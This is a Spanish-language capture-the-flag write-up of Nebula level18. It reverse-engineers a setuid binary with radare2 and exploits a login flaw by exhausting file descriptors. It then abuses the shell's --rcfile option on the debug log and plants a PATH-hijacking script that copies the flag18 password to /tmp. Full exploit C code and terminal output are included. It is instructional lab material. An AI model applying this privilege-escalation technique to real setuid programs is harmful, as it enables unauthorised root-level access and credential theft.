Penúltimo reto ya. level18 quizás sea uno de los más instructivos. Lo sé, es una entrada extremadamente larga, pero el lector debe recordar que estamos completando todos los desafíos sin utilizar el código fuente de las aplicaciones a explotar, por lo que aquí planteamos técnicas de reversing para encontrar vulnerabilidades y posibles vectores de ataque. Como siempre, radare2 será nuestra herramienta favorita en la parte central del análisis.
level18@nebula:/home/flag18$ ls -al
total 18
drwxr-x--- 2 flag18 level18 96 2011-11-20 21:22 .
drwxr-xr-x 1 root root 60 2012-08-27 07:18 ..
-rw-r--r-- 1 flag18 flag18 220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag18 flag18 3353 2011-05-18 02:54 .bashrc
-rwsr-x--- 1 flag18 level18 12216 2011-11-20 21:22 flag18
-rw------- 1 flag18 flag18 37 2011-11-20 21:22 password
-rw-r--r-- 1 flag18 flag18 675 2011-05-18 02:54 .profile
Como de costumbre, un binario suid y además un fichero password
al que no tenemos acceso y el cual seguramente contenga la contraseña del usuario flag18. Haremos un breve análisis de comportamiento:
level18@nebula:/home/flag18$ strings ./flag18
/lib/ld-linux.so.2
...
fopen
strncmp
puts
__stack_chk_fail
stdin
fgets
getopt
__fprintf_chk
setresgid
fclose
asprintf
setresuid
optarg
execve
getegid
fwrite
geteuid
strchr
setvbuf
__sprintf_chk
strcmp
__libc_start_main
free
...
...
/home/flag18/password
Unable to open %s
got [%s] as input
login
attempting to login
logout
shell
attempting to start shell
/bin/sh
unable to execve
Permission denied
closelog
site exec
setuser
Unable to read password file %s
logged in successfully (with%s password file)
--> [%s] is unsupported at this current time.
unable to set user to '%s' -- not supported.
Starting up. Verbose level = %d
La syscall execve()
, y los string "/bin/sh"
y "attempting to start shell"
no nos dejan indiferentes. También parece que existe algún sistema de autenticación (login
y logout
). Probemos con ltrace
:
level18@nebula:/home/flag18$ ltrace ./flag18
__libc_start_main(0x80487b0, 1, 0xbfcd9574, 0x8048e20, 0x8048e90 <unfinished ...>
getopt(1, 0xbfcd9574, "d:v") = -1
getegid() = 1019
getegid() = 1019
getegid() = 1019
setresgid(1019, 1019, 1019, 0x804849e, 0) = 0
geteuid() = 1019
geteuid() = 1019
geteuid() = 1019
setresuid(1019, 1019, 1019, 0x804849e, 0) = 0
fgets(
Se llama a getopt()
que acepta como opciones de argumento a -d
(seguido de un parámetro) y -v
, que según la cadena "Starting up. Verbose level = %d"
deja claro que nos permite establecer un nivel de vervosidad. Luego se lee de la entrada estándar mediante fgets()
. Agregamos las nuevas opciones al análisis:
level18@nebula:/home/flag18$ ltrace ./flag18 -d /tmp/test -v
__libc_start_main(0x80487b0, 4, 0xbff4fec4, 0x8048e20, 0x8048e90 <unfinished ...>
getopt(4, 0xbff4fec4, "d:v") = 100
fopen("/tmp/test", "w+") = 0x98c3008
setvbuf(0x98c3008, NULL, 2, 0) = 0
getopt(4, 0xbff4fec4, "d:v") = 118
getopt(4, 0xbff4fec4, "d:v") = -1
__fprintf_chk(0x98c3008, 1, 0x8049070, 1, 0) = 31
getegid() = 1019
getegid() = 1019
getegid() = 1019
setresgid(1019, 1019, 1019, 1, 0) = 0
geteuid() = 1019
geteuid() = 1019
geteuid() = 1019
setresuid(1019, 1019, 1019, 1, 0) = 0
fgets(
Efectivamente vemos que el archivo es abierto con permisos de escritura y que fprintf()
utiliza el handle devuelto anteriormente para escribir en él. Deducimos por lo tanto un mecanismo de logs o más bien, en base a la opción -d
, un archivo con mensajes de debugging.
Procedemos a continuación con una sesión de reversing mediante radare2 con el cual trazaremos la ruta seguida hasta alcanzar la posible llamada a execve("/bin/sh")
:
dpc@kernelinside:~$ r2 ./flag18
-- Stop debugging me!
[0x08048b90]> aaaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[x] Type matching analysis for all functions (afta)
[x] Emulate code to find computed references (aae)
[x] Analyze consecutive function (aat)
[0x08048b90]> is
[Symbols]
...
...
046 0x00000db0 0x08048db0 GLOBAL FUNC 106 setuser
055 0x00000d50 0x08048d50 GLOBAL FUNC 86 notsupported
058 0x00000c50 0x08048c50 GLOBAL FUNC 248 login
073 0x000020ac 0x0804b0ac GLOBAL OBJ 12 globals
083 0x000007b0 0x080487b0 GLOBAL FUNC 992 main
088 0x000020a0 0x0804b0a0 GLOBAL OBJ 4 optarg
001 0x00000640 0x08048640 GLOBAL FUNC 16 imp.strcmp
002 0x00000650 0x08048650 GLOBAL FUNC 16 imp.setresuid
003 0x00000660 0x08048660 GLOBAL FUNC 16 imp.free
004 0x00000670 0x08048670 GLOBAL FUNC 16 imp.fgets
005 0x00000680 0x08048680 GLOBAL FUNC 16 imp.fclose
006 0x00000690 0x08048690 GLOBAL FUNC 16 imp.__stack_chk_fail
007 0x000006a0 0x080486a0 GLOBAL FUNC 16 imp.geteuid
008 0x000006b0 0x080486b0 GLOBAL FUNC 16 imp.err
009 0x000006c0 0x080486c0 GLOBAL FUNC 16 imp.getegid
010 0x000006d0 0x080486d0 GLOBAL FUNC 16 imp.fwrite
011 0x000006e0 0x080486e0 GLOBAL FUNC 16 imp.puts
013 0x00000700 0x08048700 GLOBAL FUNC 16 imp.strchr
015 0x00000720 0x08048720 GLOBAL FUNC 16 imp.execve
016 0x00000730 0x08048730 GLOBAL FUNC 16 imp.getopt
017 0x00000740 0x08048740 GLOBAL FUNC 16 imp.setvbuf
018 0x00000750 0x08048750 GLOBAL FUNC 16 imp.fopen
019 0x00000760 0x08048760 GLOBAL FUNC 16 imp.asprintf
020 0x00000770 0x08048770 GLOBAL FUNC 16 imp.__fprintf_chk
021 0x00000780 0x08048780 GLOBAL FUNC 16 imp.setresgid
022 0x00000790 0x08048790 GLOBAL FUNC 16 imp.strncmp
023 0x000007a0 0x080487a0 GLOBAL FUNC 16 imp.__sprintf_chk
[0x08048b90]> axt sym.imp.execve
main 0x8048b37 [CALL] call sym.imp.execve
Hemos abreviado aquí algunas líneas, pero existen varios detalles importantes a destacar: por un lado descubrimos las funciones locales login()
, notsupported()
, setuser()
y por supuesto main()
. Además, existe una variable globals
(que es global, valga la redundancia) y cuyo tamaño es 12 bytes:
[0x08048b90]> pxw @ obj.globals
0x0804b0ac 0x00000000 0x00000000 0x00000000 0xffffffff ................
...
Suponemos que obj.globals
es un array de 12 bytes o algún tipo de estructura con tres campos enteros. Por último execve()
es invocado desde main()
, tracemos la ruta:
[0x08048b37]> pd -10 @ 0x08048b37+5
| : 0x08048b0f lea edx, [local_34h] ; 0x34 ; '4' ; 52
| : 0x08048b13 mov dword [esp], edx
| : 0x08048b16 call sym.setuser
| `=< 0x08048b1b jmp 0x80488d0
| ; CODE XREF from main (0x80489c7)
| 0x08048b20 mov edx, dword [local_18h] ; [0x18:4]=-1 ; 24
| 0x08048b24 mov dword [esp], str.bin_sh ; [0x8048f75:4]=0x6e69622f ; "/bin/sh"
| 0x08048b2b mov dword [optstring], edx
| 0x08048b2f mov edx, dword [local_1ch] ; [0x1c:4]=-1 ; 28
| 0x08048b33 mov dword [size], edx
| 0x08048b37 call sym.imp.execve
Vemos una referencia a esta sección de código desde 0x80489c7
:
[0x08048b37]> pd -3 @ 0x080489c7+6
| ; CODE XREFS from main (0x80489b1, 0x8048b75)
| 0x080489c0 mov eax, dword [0x804b0b4] ; [0x804b0b4:4]=0
| 0x080489c5 test eax, eax
| ,=< 0x080489c7 jne 0x8048b20
Solo alcanzaremos execve()
si el valor almacenado en la dirección 0x0804b0b4
(un entero de 4 bytes que coincidiría con el tercer campo de obj.globals
) es distinto de 0. Averigüemos si esto es posible:
[0x08048b37]> axt 0x804b0b4
main 0x80489c0 [DATA] mov eax, dword [0x804b0b4]
main 0x8048a00 [DATA] mov dword [0x804b0b4], 0
sym.login 0x8048cea [DATA] mov dword [0x804b0b4], 1
Efectivamente hay alguna parte del código de login()
donde se establece dicho valor a 1. Intuimos pués que 0x0804b0b4
es una variable o flag que representa si estamos autenticados en el sistema (la llamaremos logged
). De momento podemos definir:
struct globals
{
unknown;
unknown;
int logged;
}
Estudiamos login()
a ver si podemos descubrir alguna vulnerabilidad:
[0x08048b37]> s sym.login
[0x08048c50]> pdf
/ (fcn) sym.login 241
| sym.login (const char *arg_70h);
| ; var char *size @ esp+0x4
| ; var FILE *stream @ esp+0x8
| ; var int local_ch @ esp+0xc
| ; var char *s @ esp+0x1c
| ; var int local_5ch @ esp+0x5c
| ; var int local_60h @ esp+0x60
| ; var int local_64h @ esp+0x64
| ; var int local_68h @ esp+0x68
| ; arg int arg_70h @ esp+0x70
| ; CALL XREF from main (0x804897a)
| 0x08048c50 sub esp, 0x6c ; 'l'
| 0x08048c53 mov dword [local_60h], ebx
| 0x08048c57 mov dword [local_68h], edi
| 0x08048c5b mov edi, dword [arg_70h] ; [0x70:4]=-1 ; 'p' ; 112
| 0x08048c5f mov eax, dword gs:[0x14] ; [0x14:4]=-1 ; 20
| 0x08048c65 mov dword [local_5ch], eax
| 0x08048c69 xor eax, eax
| 0x08048c6b mov dword [local_64h], esi
| 0x08048c6f mov dword [size], 0x8048fba ; [0x8048fba:4]=0x6e550072 ; const char *mode
| 0x08048c77 mov dword [esp], str.home_flag18_password ; [0x8048ef0:4]=0x6d6f682f ; "/home/flag18/password" ; const char *filename
| 0x08048c7e call sym.imp.fopen ; file*fopen(const char *filename, const char *mode)
| 0x08048c83 test eax, eax
| 0x08048c85 mov ebx, eax
| ,=< 0x08048c87 je 0x8048cb5
Se llama a fopen("/home/flag18/password", "r")
. Dejamos pendiente el caso en el que dicha llamada falla eax == 0
, si todo va bien sigue así:
| | 0x08048c89 lea esi, [s] ; 0x1c ; 28
| | 0x08048c8d mov dword [stream], eax ; FILE *stream
| | 0x08048c91 mov dword [size], 0x3f ; '?' ; [0x3f:4]=-1 ; 63 ; int size
| | 0x08048c99 mov dword [esp], esi ; char *s
| | 0x08048c9c call sym.imp.fgets ; char *fgets(char *s, int size, FILE *stream)
| | 0x08048ca1 test eax, eax
| ,==< 0x08048ca3 je 0x8048d18
Se leen hasta 63 (0x3f) caracteres del archivo /home/flag18/password
y se almacenan en un buffer con capacidad para 64 bytes. Si fgets()
fallase, se llamaría a fprintf()
con la cadena "Unable to read password file /home/flag18/password\n"
(siempre y cuando el primer campo de obj.globals
sea distinto de 0) y se retorna. Cabe señalar que en esta llamada a fprintf()
el descriptor de fichero es el mismo valor almacenado en obj.globals
por lo que ahora tendríamos más información:
struct globals
{
FILE *fd;
unknown;
int logged;
}
Si fgets()
devuelve un valor distinto de 0 entonces llegamos a una comparación:
| || 0x08048ca5 mov dword [size], esi ; const char *s2
| || 0x08048ca9 mov dword [esp], edi ; const char *s1
| || 0x08048cac call sym.imp.strcmp ; int strcmp(const char *s1, const char *s2)
| || 0x08048cb1 test eax, eax
| ,===< 0x08048cb3 jne 0x8048cf4
Se ejecuta strcmp(password, arg)
, comparando el password recién leido de /home/flag18/password
con el argumento recibido por login()
. Caso de no coincidir la función retorna directamente, sino se llama a fprintf()
con el string "logged in successfully (with password file)"
(siempre y cuando globals.fd != NULL
) y finalmente se establece nuestra buscada variable globals.logged
a 1. Luego login()
finaliza.
Ahora bien, y aquí queríamos llegar, el inicio de esta última sección de código (0x8048cb5
), es casualmente la dirección utilizada por el salto que encontramos en la llamada a fopen()
si esta fallaba:
| ||| ; CODE XREF from sym.login (0x8048c87)
| ||`-> 0x08048cb5 mov edx, dword [obj.globals] ; [0x804b0ac:4]=0
| || 0x08048cbb test edx, edx
| ||,=< 0x08048cbd je 0x8048cea
| ||| 0x08048cbf mov eax, 0x8048f50
| ||| 0x08048cc4 test ebx, ebx
| ||| 0x08048cc6 mov ecx, 0x8048fa0
| ||| 0x08048ccb cmovne eax, ecx
| ||| 0x08048cce mov dword [local_ch], eax
| ||| 0x08048cd2 mov dword [stream], str.logged_in_successfully__with_s_password_file ; [0x8048fe0:4]=0x67676f6c ; "logged in successfully (with%s password file)\n"
| ||| 0x08048cda mov dword [size], 1
| ||| 0x08048ce2 mov dword [esp], edx
| ||| 0x08048ce5 call sym.imp.__fprintf_chk
| ||| ; CODE XREF from sym.login (0x8048cbd)
| ||`-> 0x08048cea mov dword [0x804b0b4], 1 ; [0x804b0b4:4]=0
| || ; CODE XREFS from sym.login (0x8048cb3, 0x8048d1f, 0x8048d41)
| .`-.-> 0x08048cf4 mov eax, dword [local_5ch] ; [0x5c:4]=-1 ; '\' ; 92
| : |: 0x08048cf8 xor eax, dword gs:[0x14]
| :,===< 0x08048cff jne 0x8048d43
| :||: 0x08048d01 mov ebx, dword [local_60h] ; [0x60:4]=-1 ; '`' ; 96
| :||: 0x08048d05 mov esi, dword [local_64h] ; [0x64:4]=-1 ; 'd' ; 100
| :||: 0x08048d09 mov edi, dword [local_68h] ; [0x68:4]=-1 ; 'h' ; 104
| :||: 0x08048d0d add esp, 0x6c ; 'l'
| :||: 0x08048d10 ret
Hagamos un intento de pseudocódigo para verlo todavía más claro:
login(char *password)
{
char buffer[64];
FILE *file;
file = fopen("/home/flag18/password", "r");
if (file != NULL)
{
if (fgets(buffer, 63, file) != 0)
{
if (globals.fd != NULL)
fprintf(globals.fd, "Unable to read password file /home/flag18/password\n");
return;
}
if (strcmp(buffer, password) != 0)
return;
}
if (globals.fd != NULL)
fprintf(globals.fd, "logged in successfully (with%s password file)\n",
globals.logged = 1;
}
Si los ojos no nos engañan, quiere decir que podemos hacer que globals.logged
sea igual a 1 siempre y cuando la llamada fopen("/home/flag18/password")
falle. ¿Es esto posible? Por supuesto, fopen()
devolverá error si todos los descriptores de fichero se encuentran ocupados. En un proceso normal:
Limit Soft Limit Hard Limit Units
Max open files 1024 4096 files
1024 es el límite, contando con que habitualmente los tres primeros stdin
, stdout
y stderr
ya se encuentran abiertos. Además, como todos los descriptores abiertos son heredados por los procesos hijos, podríamos hacer algo como lo siguiente:
while ((fd = dup(1)) != -1)
;
execve("/home/flag18/flag18");
./flag18
se encontraría con todos los descriptores de archivo ocupados, y cualquier llamada a fopen()
fallaría.
Tan solo nos queda analizar main()
y comprobar cómo podemos llamar a login()
y posteriormente execve("/bin/sh")
:
[0x080487b0]> pdf
| ;-- section_end..plt:
| ;-- section..text:
/ (fcn) main 971
| main (int arg_8h, int arg_ch, int arg_10h);
| ; var int local_ch @ ebp-0xc
| ; arg int arg_8h @ ebp+0x8
| ; arg int arg_ch @ ebp+0xc
| ; arg int arg_10h @ ebp+0x10
| ; var char * *size @ esp+0x4
| ; var char *optstring @ esp+0x8
| ; var size_t stream @ esp+0xc
| ; var int local_18h @ esp+0x18
| ; var int local_1ch @ esp+0x1c
| ; var int local_2ch @ esp+0x2c
| ; var int local_32h @ esp+0x32
| ; var int local_34h @ esp+0x34
| ; var int local_36h @ esp+0x36
| ; var int local_12ch @ esp+0x12c
| ; DATA XREF from entry0 (0x8048ba7)
| 0x080487b0 push ebp ; [13] -r-x section size 1820 named .text
| 0x080487b1 mov ebp, esp
| 0x080487b3 push edi
| 0x080487b4 push esi
| 0x080487b5 push ebx
| 0x080487b6 and esp, 0xfffffff0
| 0x080487b9 sub esp, 0x130
| 0x080487bf mov edx, dword [arg_ch] ; [0xc:4]=-1 ; 12
| 0x080487c2 mov eax, dword gs:[0x14] ; [0x14:4]=-1 ; 20
| 0x080487c8 mov dword [local_12ch], eax
| 0x080487cf xor eax, eax
| 0x080487d1 mov ebx, dword [arg_8h] ; [0x8:4]=-1 ; 8
| 0x080487d4 mov dword [local_1ch], edx
| 0x080487d8 mov edx, dword [arg_10h] ; [0x10:4]=-1 ; 16
| 0x080487db mov dword [local_18h], edx
| 0x080487df nop
| ; CODE XREFS from main (0x8048802, 0x804880b, 0x8048852)
| ...-> 0x080487e0 mov edx, dword [local_1ch] ; [0x1c:4]=-1 ; 28
| ::: 0x080487e4 mov dword [optstring], 0x8048f1b ; [0x8048f1b:4]=0x763a64 ; const char *optstring
| ::: 0x080487ec mov dword [esp], ebx ; int argc
| ::: 0x080487ef mov dword [size], edx ; const char **argv
| ::: 0x080487f3 call sym.imp.getopt ; int getopt(int argc, const char **argv, const char *optstring)
| ::: 0x080487f8 cmp al, 0xff ; 255
| ,====< 0x080487fa je 0x8048858
| |::: 0x080487fc cmp al, 0x64 ; 'd' ; 100
| ,=====< 0x080487fe je 0x8048810
| ||::: 0x08048800 cmp al, 0x76 ; 'v' ; 118
| ||`===< 0x08048802 jne 0x80487e0
| || :: 0x08048804 add dword [0x804b0b0], 1
| || `==< 0x0804880b jmp 0x80487e0
Como ya vimos al principio de nuestro anális de comportamiento, se llama a getopt(argc, argv, "d:v")
. Si se encuentra -v
entre las opciones de argumento, la variable en 0x0804b0b0
se incrementa en 1, esto coincide con la última incógnita de la estructura globals
, con lo cual:
struct globals
{
FILE *fd;
int verbosity;
int logged;
}
| || : ; CODE XREF from main (0x80487fe)
| `-----> 0x08048810 mov eax, dword [obj.optarg] ; [0x804b0a0:4]=0
| | : 0x08048815 mov dword [size], 0x8048f06 ; [0x8048f06:4]=0x55002b77 ; const char *mode
| | : 0x0804881d mov dword [esp], eax ; const char *filename
| | : 0x08048820 call sym.imp.fopen ; file*fopen(const char *filename, const char *mode)
| | : 0x08048825 test eax, eax
| | : 0x08048827 mov dword [obj.globals], eax ; [0x804b0ac:4]=0
En cambio, si se encuentra -d
, se llama a fopen(optarg)
y se guarda el descriptor de fichero en globals.fd
.
Suprimimos el desensamblado de las llamadas setresgid(getegid(), getegid(), getegid())
y setresuid(geteuid(), geteuid(), geteuid())
y continuamos aquí:
| :| ; XREFS: CODE 0x0804897f CODE 0x080489d4 CODE 0x080489fa CODE 0x08048a0a CODE 0x08048a58 CODE 0x08048b09
| :| ; XREFS: CODE 0x08048b1b CODE 0x08048b86
| ....--.-> 0x080488d0 mov eax, dword [sym.stdin] ; obj.stdin ; [0x804b080:4]=0
| :::::|: 0x080488d5 mov dword [size], 0xff ; [0xff:4]=-1 ; 255 ; int size
| :::::|: 0x080488dd mov dword [esp], ebx ; char *s
| :::::|: 0x080488e0 mov dword [optstring], eax ; FILE *stream
| :::::|: 0x080488e4 call sym.imp.fgets ; char *fgets(char *s, int size, FILE *stream)
| :::::|: 0x080488e9 test eax, eax
| ========< 0x080488eb je 0x8048a88
Se entra en un bucle que lee comandos de la entrada estándar mediante fgets()
. En caso positivo:
| :::::|: 0x080488f1 mov dword [size], 0xa ; int c
| :::::|: 0x080488f9 mov dword [esp], ebx ; const char *s
| :::::|: 0x080488fc call sym.imp.strchr ; char *strchr(const char *s, int c)
| :::::|: 0x08048901 test eax, eax
| ========< 0x08048903 je 0x8048908
| :::::|: 0x08048905 mov byte [eax], 0
| --------> 0x08048908 mov dword [size], 0xd ; [0xd:4]=-1 ; 13 ; int c
| :::::|: 0x08048910 mov dword [esp], ebx ; const char *s
| :::::|: 0x08048913 call sym.imp.strchr ; char *strchr(const char *s, int c)
| :::::|: 0x08048918 test eax, eax
| ========< 0x0804891a je 0x804891f
| :::::|: 0x0804891c mov byte [eax], 0
Se suprimen los caracteres de retorno de carro y nueva línea en caso de encontrarse. Luego comienza una serie de comparaciones con los comandos introducidos:
...
...
| :::::|: ; CODE XREFS from main (0x8048926, 0x804892f)
| --------> 0x0804894d mov edi, str.login ; 0x8048f32 ; "login"
| :::::|: 0x08048952 mov ecx, 5
| :::::|: 0x08048957 mov esi, ebx
| :::::|: 0x08048959 repe cmpsb byte [esi], byte ptr es:[edi] ; [0x170000001c:1]=255 ; 98784247836
| ========< 0x0804895b jne 0x8048988
| :::::|: 0x0804895d mov eax, dword [obj.globals] ; [0x804b0ac:4]=0
| :::::|: 0x08048962 test eax, eax
| ========< 0x08048964 je 0x8048973
| :::::|: 0x08048966 cmp dword [0x804b0b0], 2 ; [0x2:4]=-1 ; 2
| ========< 0x0804896d jg 0x8048a60
| :::::|: ; CODE XREFS from main (0x8048964, 0x8048a80)
| --------> 0x08048973 lea eax, [local_32h] ; 0x32 ; '2' ; 50
| :::::|: 0x08048977 mov dword [esp], eax
| :::::|: 0x0804897a call sym.login
| ========< 0x0804897f jmp 0x80488d0
El comando login xxxx
(donde xxxx puede representar un password) nos conduce a login()
.
| :::::|: ; CODE XREF from main (0x804895b)
| --------> 0x08048988 mov eax, str.logout ; 0x8048f4d ; "logout"
| :::::|: 0x0804898d mov ecx, 6
| :::::|: 0x08048992 mov esi, ebx
| :::::|: 0x08048994 mov edi, eax
| :::::|: 0x08048996 repe cmpsb byte [esi], byte ptr es:[edi] ; [0x170000001c:1]=255 ; 98784247836
| ========< 0x08048998 je 0x8048a00
...
...
..
| :::::|: ; CODE XREFS from main (0x8048998, 0x8048a1b)
| --------> 0x08048a00 mov dword [0x804b0b4], 0 ; [0x804b0b4:4]=0
| `=======< 0x08048a0a jmp 0x80488d0
Si el comando es logout
, entonces globals.logged
se pone a 0.
| :::::|: 0x0804899a mov edi, str.shell ; 0x8048f54 ; "shell"
| :::::|: 0x0804899f mov ecx, 5
| :::::|: 0x080489a4 mov esi, ebx
| :::::|: 0x080489a6 repe cmpsb byte [esi], byte ptr es:[edi] ; [0x170000001c:1]=255 ; 98784247836
| ========< 0x080489a8 jne 0x8048a10
| :::::|: 0x080489aa mov eax, dword [obj.globals] ; [0x804b0ac:4]=0
| :::::|: 0x080489af test eax, eax
| ========< 0x080489b1 je 0x80489c0
| :::::|: 0x080489b3 cmp dword [0x804b0b0], 2 ; [0x2:4]=-1 ; 2
| ========< 0x080489ba jg 0x8048b55
| :::::|: ; CODE XREFS from main (0x80489b1, 0x8048b75)
| --------> 0x080489c0 mov eax, dword [0x804b0b4] ; [0x804b0b4:4]=0
| :::::|: 0x080489c5 test eax, eax
| ========< 0x080489c7 jne 0x8048b20
...
...
| | |: ; CODE XREF from main (0x80489c7)
| --------> 0x08048b20 mov edx, dword [local_18h] ; [0x18:4]=-1 ; 24
| | |: 0x08048b24 mov dword [esp], str.bin_sh ; [0x8048f75:4]=0x6e69622f ; "/bin/sh"
| | |: 0x08048b2b mov dword [optstring], edx
| | |: 0x08048b2f mov edx, dword [local_1ch] ; [0x1c:4]=-1 ; 28
| | |: 0x08048b33 mov dword [size], edx
| | |: 0x08048b37 call sym.imp.execve
El comando shell
, como ya vimos al principio, invoca a execve("/bin/sh")
si globals.logged == 1
.
...
...
| ::::|: ; CODE XREF from main (0x80489a8)
| --------> 0x08048a10 mov ecx, 4
| ::::|: 0x08048a15 mov esi, ebx
| ::::|: 0x08048a17 mov edi, eax
| ::::|: 0x08048a19 repe cmpsb byte [esi], byte ptr es:[edi] ; [0x170000001c:1]=255 ; 98784247836
| ========< 0x08048a1b je 0x8048a00
| ::::|: 0x08048a1d mov dword [optstring], 8 ; size_t n
| ::::|: 0x08048a25 mov dword [size], str.closelog ; [0x8048fa1:4]=0x736f6c63 ; "closelog" ; const char *s2
| ::::|: 0x08048a2d mov dword [esp], ebx ; const char *s1
| ::::|: 0x08048a30 call sym.imp.strncmp ; int strncmp(const char *s1, const char *s2, size_t n)
| ::::|: 0x08048a35 test eax, eax
| ,=======< 0x08048a37 jne 0x8048acf
| |::::|: 0x08048a3d mov eax, dword [obj.globals] ; [0x804b0ac:4]=0
| |::::|: 0x08048a42 test eax, eax
| ========< 0x08048a44 je 0x8048a4e
| |::::|: 0x08048a46 mov dword [esp], eax ; FILE *stream
| |::::|: 0x08048a49 call sym.imp.fclose ; int fclose(FILE *stream)
| |::::|: ; CODE XREF from main (0x8048a44)
| --------> 0x08048a4e mov dword [obj.globals], 0 ; [0x804b0ac:4]=0
| |`======< 0x08048a58 jmp 0x80488d0
El comando closelog
cerraría el descriptor de fichero almacenado en globals.fd
si un archivo válido fue especificado con los argumentos -d archivo_de_log
.
No analizaremos los comandos site exec"
y setuser"
por no ser relevantes para el vector de ataque que estamos estudiando. Un breve pseudocódigo puede servir de resumen:
main(argc, argv)
{
char cmd[256];
while ((c = getopt(argc, argv, "d:v")) != -1)
{
switch (c)
{
case "d":
globals.fd = fopen(optarg, "w+");
break;
case "v":
globals.verbosity++;
break;
}
}
while (fgets(cmd, 255, stdin) != 0)
{
if (cmd == "login")
login(login_arg);
else if (cmd == "logout")
globals.logged = 0;
else if (cmd == "shell")
{
if (globals.logged)
execve("/bin/sh")
}
else if (cmd == "closelog")
fclose(globals.fd);
}
}
Se trata de un resumen burdo pero considerablemente aproximado. Ya tenemos todos los ingredientes necesarios para un exploit. Ocupar (denegar) todos los descriptores de fichero, llamar a execve("./flag18")
, introducir el comando login
y finalmente el comando shell
. Probamos con:
#include <stdio.h>
#include <unistd.h>
extern char **environ;
int main()
{
int fd;
int count = 0;
char* const args[] = {"/home/flag18/flag18", "-d", "/tmp/log", NULL};
printf("[+] Duplicando descriptores...\n");
while ((fd = dup(1)) != -1)
{
count++;
}
printf("[+] Descriptores abiertos: %d\n", count);
printf("[+] Ejecutando /home/flag18/flag18...\n");
execve(args[0], args, environ);
fprintf(stderr, "[X] execve() error!!\n");
_exit(1);
}
Y obtenemos:
level18@nebula:/tmp$ ./l18exploit
[+] Duplicando descriptores...
[+] Descriptores abiertos: 1021
[+] Ejecutando /home/flag18/flag18...
/home/flag18/flag18: error while loading shared libraries: libc.so.6: cannot open shared object file: Error 24
Debemos dejar un descriptor libre para que ./flag18
pueda abrir la librería dinámica libc
. Para ello agregaremos la línea close(--count)
inmediatamente después del bucle while
. Ahora:
level18@nebula:/tmp$ ./l18exploit
[+] Duplicando descriptores...
[+] Descriptores abiertos: 1020
[+] Ejecutando /home/flag18/flag18...
login
shell
/home/flag18/flag18: error while loading shared libraries: libncurses.so.5: cannot open shared object file: Error 24
Parece que ./flag18
necesita otro descriptor de fichero abierto para libncurses
, pero si nuestro binario no utiliza ncurses
, ¿qué está pasando?:
level18@nebula:/tmp$ strace ./l18exploit
execve("./l18exploit", ["./l18exploit"], [/* 19 vars */]) = 0
...
dup(1) = 3
...
...
dup(1) = 1023
dup(1) = -1 EMFILE (Too many open files)
close(1020) = 0
write(1, "[+] Descriptores abiertos: 1020\n", 32[+] Descriptores abiertos: 1020
) = 32
write(1, "[+] Ejecutando /home/flag18/flag"..., 38[+] Ejecutando /home/flag18/flag18...
) = 38
execve("/home/flag18/flag18", ["/home/flag18/flag18", "-d", "/tmp/log"], [/* 19 vars */]) = 0
brk(0) = 0x8a63000
...
close(1020) = 0
...
open("/tmp/dbg", O_RDWR|O_CREAT|O_TRUNC, 0666) = 1020
...
...
read(0, login
"login\n", 1024) = 6
open("/home/flag18/password", O_RDONLY) = -1 EMFILE (Too many open files)
write(1020, "logged in successfully (without "..., 47) = 47
read(0, shell
"shell\n", 1024) = 6
execve("/bin/sh", ["/home/flag18/flag18", "-d", "/tmp/log"], [/* 19 vars */]) = 0
...
...
writev(2, [{"/home/flag18/flag18", 19}, {": ", 2}, {"error while loading shared libra"..., 36}, {": ", 2}, {"libncurses.so.5", 15}, {": ", 2}, {"cannot open shared object file", 30}, {": ", 2}, {"Error 24", 8}, {"\n", 1}], 10/home/flag18/flag18: error while loading shared libraries: libncurses.so.5: cannot open shared object file: Error 24
) = 117
En realidad es /bin/sh
quien no puede abrir libncurses.so.5
. Ocurre que como /bin/sh
es llamado con los mismos argumentos proporcionados a ./flag18
(entre ellos argv[0]
), entonces el primero se muestra con el nombre del segundo :)
Siguiendo con nuestro ataque, podemos aprovechar el comando closelog
para cerrar un descriptor de fichero y dejárselo libre a /bin/sh
:
level18@nebula:/tmp$ ./l18exploit
[+] Duplicando descriptores...
[+] Descriptores abiertos: 1020
[+] Ejecutando /home/flag18/flag18...
login
closelog
shell
/home/flag18/flag18: -d: invalid option
Usage: /home/flag18/flag18 [GNU long option] [option] ...
/home/flag18/flag18 [GNU long option] [option] script-file ...
GNU long options:
--debug
--debugger
--dump-po-strings
--dump-strings
--help
--init-file
--login
--noediting
--noprofile
--norc
--posix
--protected
--rcfile
--restricted
--verbose
--version
Shell options:
-irsD or -c command or -O shopt_option (invocation only)
-abefhkmnptuvxBCHP or -o option
Ya estamos mucho más cerca, /bin/sh
dice que no reconoce la opción de argumento -d
. Aquí podemos aprovechar un pequeño truco: si utilizamos la opción --rcfile
, la shell leerá los comandos a ejecutar de los archivos que acompañen a dicha opción (en nuestro caso /tmp/log
). El exploit definitivo:
#include <stdio.h>
#include <unistd.h>
extern char **environ;
int main()
{
int fd;
int count = 0;
char* const args[] = {"/home/flag18/flag18", "--rcfile", "-d", "/tmp/log", NULL};
printf("[+] Duplicando descriptores...\n");
while ((fd = dup(1)) != -1)
{
count++;
}
close(--count); // open("libc.so.6")
printf("[+] Descriptores abiertos: %d\n", count);
printf("[+] Ejecutando /home/flag18/flag18...\n");
execve(args[0], args, environ);
fprintf(stderr, "[X] execve() error!!\n");
_exit(1);
}
Lo ejecutamos:
level18@nebula:/tmp$ ./l18exploit
[+] Duplicando descriptores...
[+] Descriptores abiertos: 1020
[+] Ejecutando /home/flag18/flag18...
/home/flag18/flag18: invalid option -- '-'
/home/flag18/flag18: invalid option -- 'r'
/home/flag18/flag18: invalid option -- 'c'
/home/flag18/flag18: invalid option -- 'f'
/home/flag18/flag18: invalid option -- 'i'
/home/flag18/flag18: invalid option -- 'l'
/home/flag18/flag18: invalid option -- 'e'
login
closelog
shell
/tmp/log: line 1: Starting: command not found
/tmp/log: line 2: syntax error near unexpected token `('
/tmp/log: line 2: `logged in successfully (without password file)'
/bin/sh
intenta ejecutar el comando Starting
, que coincide exactamente con la primera palabra contenida dentro de /tmp/log
:
level18@nebula:/tmp$ cat /tmp/log
Starting up. Verbose level = 0
logged in successfully (without password file)
Con lo cual ya solo queda crear en /tmp
un script de nombre Starting
con permisos de ejecución, y establecer la variable $PATH
a este mismo directorio mediante export PATH=/tmp:$PATH
.
#!/bin/sh
cat /home/flag18/password > /tmp/flag18pass
